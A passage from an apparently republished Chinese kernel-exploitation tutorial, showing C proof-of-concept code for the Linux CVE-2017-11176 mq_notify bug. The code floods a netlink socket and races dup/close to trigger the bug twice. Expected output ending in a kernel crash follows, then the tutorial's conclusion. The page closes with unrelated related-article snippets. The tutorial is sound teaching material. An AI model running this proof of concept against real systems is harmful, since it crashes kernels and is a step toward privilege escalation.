printf("[+] unblocking thread has been created!\n");

printf("[ ] get ready to block\n");

if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))

{

perror("[-] mq_notify");

goto fail;

}

printf("[+] mq_notify succeed\n");

return 0;

fail:

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

/*

* Creates a netlink socket and fills its receive buffer.

*

* Returns the socket file descriptor or -1 on error.

*/

static int prepare_blocking_socket(void)

{

int send_fd;

int recv_fd;

char buf[1024*10];

int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {

.nl_family = AF_NETLINK,

.nl_pad = 0,

.nl_pid = 118, // must different than zero

.nl_groups = 0 // no groups

};

struct iovec iov = {

.iov_base = buf,

.iov_len = sizeof(buf)

};

struct msghdr mhdr = {

.msg_name = &addr,

.msg_namelen = sizeof(addr),

.msg_iov = &iov,

.msg_iovlen = 1,

.msg_control = NULL,

.msg_controllen = 0,

.msg_flags = 0,

};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||

(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)

{

perror("socket");

goto fail;

}

printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))

{

if (errno != EADDRINUSE)

{

perror("[-] bind");

goto fail;

}

addr.nl_pid++;

}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))

perror("[-] setsockopt"); // no worry if it fails, it is just an optim.

else

printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");

while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)

;

if (errno != EAGAIN)

{

perror("[-] sendmsg");

goto fail;

}

printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");

return recv_fd;

fail:

printf("[-] failed to prepare block socket\n");

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

int main(void)

{

int sock_fd = -1;

int sock_fd2 = -1;

int unblock_fd = 1;

printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

if ((sock_fd = prepare_blocking_socket()) < 0)

goto fail;

printf("[+] netlink socket created = %d\n", sock_fd);

if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))

{

perror("[-] dup");

goto fail;

}

printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

// trigger the bug twice

if (decrease_sock_refcounter(sock_fd, unblock_fd) ||

decrease_sock_refcounter(sock_fd2, unblock_fd))

{

goto fail;

}

printf("[ ] ready to crash?\n");

PRESS_KEY();

// TODO: exploit

return 0;

fail:

printf("[-] exploit failed!\n");

PRESS_KEY();

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

预期输出:

[ ] -={ CVE-2017-11176 Exploit }=-

[ ] preparing blocking netlink socket

[+] socket created (send_fd = 3, recv_fd = 4)

[+] netlink socket bound (nl_pid=118)

[+] receive buffer reduced

[ ] flooding socket

[+] flood completed

[+] blocking socket ready

[+] netlink socket created = 4

[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 4 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 5 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

[ ] ready to crash?

[ ] press key to continue...

<<< KERNEL CRASH HERE >>>

从现在开始,直到exp最终完成,每次运行PoC系统都会崩溃。这很烦人,但你会习惯的。可以通过禁止不必要的服务(例如图形界面等)来加快启动时间。记得最后重新启用这些服务,以匹配你的“真正”目标(他们也确实对内核有影响)。

结论

本文介绍了调度器子系统,任务状态以及如何通过等待队列在正在运行/等待状态之间转换。理解这部分有助于唤醒主线并赢得竞态条件。

通过close()和dup()系统调用,使第二次调用fget()返回NULL,这是触发漏洞所必需的。最后,研究了如何使netlink_attachskb()返回1。

所有这些组合起来成了最终的PoC,可以在不使用System Tap的情况下可靠地触发漏洞并使内核崩溃。

接下来的文章将讨论一个重要的话题:释放后重用漏洞的利用。将阐述slab分配器的基础知识,类型混淆,重新分配以及如何通过它来获得任意调用。将公开一些有助于构建和调试漏洞的新工具。最后,我们会在合适的时候让内核崩溃。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/551093.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

同步轨道进入过程_“收官之星”定点成功!北斗三号卫星全部进入长管模式

◎ 徐新芳 科技日报记者 付毅飞6月30日14时15分&#xff0c;北斗三号全球卫星导航系统最后一颗组网卫星成功定点于距离地面约36000公里的地球同步轨道&#xff0c;顺利进入长期运行管理模式。卫星有效载荷已完成开通&#xff0c;经过遥测数据判读&#xff0c;星载基准频率合成器…

将当前的head推送到远程_Git 通俗易懂系列 三、远程仓库和标签

远程仓库git remote :列出每个远程库的简短名字。如&#xff1a;origin。git remote -v &#xff1a;显示对应的克隆地址&#xff0c;如&#xff1a;originhttp://gitlab.xxx.corp/xxx.git 添加远程库&#xff1a;git remote add pb git://github.com/xxx.gitpb 指代对应的仓库…

linux中cv调用摄像头,ubuntu中opencv调用摄像头

ubuntu中opencv调用摄像头ubuntu中opencv调用摄像头文章目录一、Ubuntu中安装opencv二、关于Linux如何开启摄像头1.安装VMvareTools&#xff0c;这个是真的强&#xff0c;解决了很多常遇到的问题&#xff0c;比如Linux和Windows无法交互粘贴复制的问题。2.要保证Linux这边能开启…

为什么只有奇次谐波_关于开关电源谐波失真,这有一份测量分析方法经验分享!...

无论是从保护电力系统的安全还是从保护用电设备和人身的安全来看&#xff0c;严格控制并限定电流谐波含量&#xff0c;以减少谐波污染造成的危害已成为人们的共识。总谐波失真THD与功率因数 PF 的关系市面上很多的 LED 驱动电源&#xff0c;其输入电路采用简单的桥式整流器和电…

c语言程序设计平时作业代刷,C语言程序设计——小学生口算刷题系统

程序函数关系图函数功能及全局变量介绍代码中已有详细注释的地方不再进行解释。全局变量Cut( )函数此函数用于分割界面&#xff0c;使界面更为美观。Start( )函数此函数集成了开始菜单&#xff0c;年级的输入&#xff0c;为了营造一个快乐而刺激的刷题体验&#xff0c;程序与用…

机器人出魔切还是三相_工业机器人常见故障和修理方法

机械手常见故障和修理方法 1.先动口再动手对于有故障的电气设备&#xff0c;不应急于动手&#xff0c;应先询问产生故障的前后经过及故障现象。对于生疏的设备&#xff0c;还应先熟悉电路原理和结构特点&#xff0c;遵守相应规则。拆卸前要充分熟悉每个电气部件的功能、位置、连…

字符串转内存c语言,【一起学C】C语言面试题必考:字符串操作函数,内存操作函数实现...

本帖最后由 奉聪 于 2017-1-25 14:54 编辑*******前言*******我数一下&#xff0c;我发了几个帖子&#xff0c;1、2、3&#xff1f;哈哈哈&#xff0c;没几个哈&#xff0c;感谢吾爱&#xff0c;让我学到了很多&#xff0c;乐于分享&#xff0c;共同进步&#xff01;最近也是在…

matlab 图像显著性检测ft_全局对比度的图像显著性检测算法

点击上方蓝字关注我们星标或者置顶【OpenCV学堂】干货与教程第一时间送达&#xff01;显著性检测概念显著性就是可以快速引起你注意的对象或者物体&#xff0c;在图像或者视频中显著性检测的结果往往是图像或者视频中对象&#xff0c;在神经学科中显著性检测被描述为注意力机制…

在c51语言的程序中 注释一般采用,【判断题】在 C51 语言的程序中,注释一般采用 /* */ 和 // 来实现。 (3.0分)...

当ab&#xff1c;0时&#xff0c;化简a2b的结果是()A&#xff0e;&#xff0d;abB&#xff0e;a&#xff0d;bC&#xff0e;&#xff0d;a&#xff0d;bD&#xff0e;ab(&#xff0d;5)2的化简结果为()A&#xff0e;25B&#xff0e;5C&#xff0e;&#xff0d;5D&#xff0e;&a…

修改所有列_哪些数据库是行存储?哪些是列存储?有什么区别?

大多数数据库系统存储一组数据记录&#xff0c;这些记录由表中的列和行组成。字段是列和行的交集&#xff1a;某种类型的单个值。属于同一列的字段通常具有相同的数据类型。例如&#xff0c;如果我们定义了一个包含用户数据的表&#xff0c;那么所有的用户名都将是相同的类型&a…

函数指针定积分C语言,急!!!利用函数指针变量编写一个求定积分的通用函数,...

急&#xff01;&#xff01;&#xff01;利用函数指针变量编写一个求定积分的通用函数&#xff0c;答案:4 信息版本&#xff1a;手机版解决时间 2021-05-05 09:17已解决2021-05-05 02:15用它分别求5个函数的定积分:每次需要求定积分的函数是不一样的。可以编写一个求定积分的通…

cordova 更改app版本_【ios马甲包cps联运】App上架难 马甲包不知道该怎么做?

专业app代上架&#xff01;解决全网IOS上包难诸多问题 ,提供多类别马甲包功能包定制服务&#xff01;(直播.财务.社交.生活.游戏.电商)另外提供app加速审核及好评优化服务.长期出售白包功能包!总的来说&#xff0c;App Store 的上架流程&#xff0c;主要分为 7 大步骤:1、创建证…

须使用visual c 内联汇编语言开发,在VisualC 中使用内联汇编

在VisualC 中使用内联汇编2008-04-09 04:08:57来源&#xff1a;互联网 阅读 ()一、内联汇编的优缺点因为在Visual C 中使用内联汇编不需要额外的编译器和联接器&#xff0c;且可以处理Visual C 中不能处理的一些事情&#xff0c;而且可以使用在C/C 中的变量&#xff0c;所以非常…

dockerfile 修改文件权限_网易技术实践|Docker文件系统实战

在本文中&#xff0c;我们来实战构建一个Docker镜像&#xff0c;然后实例化容器&#xff0c;在Docker的生命周期中详细分析一下Docker的文件存储情况和DockerFile优化策略。在开始实战之前&#xff0c;我们先介绍一个概念&#xff0c;联合文件系统&#xff08;Union File Syste…

stm32c语言写数码管定时器,使用TIM1产生1秒定时控制数码管显示0-9(STM32_10)

一、项目配置1、新建项目文件夹"TimSeg"&#xff1b;2、通过Keil5创建新项目&#xff0c;保存在所创建的文件夹中(设项目名为pTimSeg)&#xff0c;选择MCU芯片为"STM32F103ZE"(本程序使用的硬件为&#xff1a;STM32-PZ6806L开发板)3、在"TimSeg"…

pandas自动创建文件夹_pandas快速入门

pandas有两类数据对象&#xff1a;dataframe和series。Series是一个带标签的一维数组&#xff0c;通常索引在左&#xff0c;值在右。dataframe是一个带标签的二维数组&#xff0c;可以理解成series的字典&#xff0c;共用索引标签。重点记录dataframe的相关用法&#xff1a;一.…

小数分数转换c语言,这是把小数转换成分数的程序,可是输入0.6666无限循环

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼#include int main(){double a;scanf("%lf", &a);输入小数int b, c 0, d 0;double b1 a;do{b1 *10;b (int)b1;printf("%d\n", b);if(b%10!0){c;if(d>0){c d;d 0;}}else{d;}}while(d<5);printf("…

血栓清道夫机器人_血栓“清道夫”找到了!木耳排第三,排在第一很多人都并不知道...

当血液中出现大量的血栓&#xff0c;很容易堵塞血管&#xff0c;多处血栓&#xff0c;主要是由于血液中积聚了大量的脂类物质&#xff0c;沉积在血管内壁上形成的&#xff0c;而日常生活中不良的饮食习惯则会加剧我们血液的粘稠程度&#xff0c;大量的直流物质&#xff0c;更容…

for循环c语言流水灯,巧用数组与for循环为流水灯程序瘦身

数组——一种储存大量同性质数据的连续存储器空间a [6];b [] {2&#xff0c;4&#xff0c;8&#xff0c;3&#xff0c;6};c[6] {1&#xff0c;2&#xff0c;3&#xff0c;4&#xff0c;5&#xff0c;6};char d[6] "hello";以上方式均是数组创建的常用方式~数组是从…

java的map 使用string数组多了双引号_奥奥奥利给!!!再也不怕面试官问我String源码了!来吧...

简述字符串广泛应用 在 Java 编程中&#xff0c;在 Java 中字符串属于对象&#xff0c;Java 提供了String 类来创建和操作字符串。字符串缓冲区支持可变字符串。因为String对象是不可变的&#xff0c;因此可以共享它们。String类代表字符串&#xff0c;Java程序中的所有字符串字…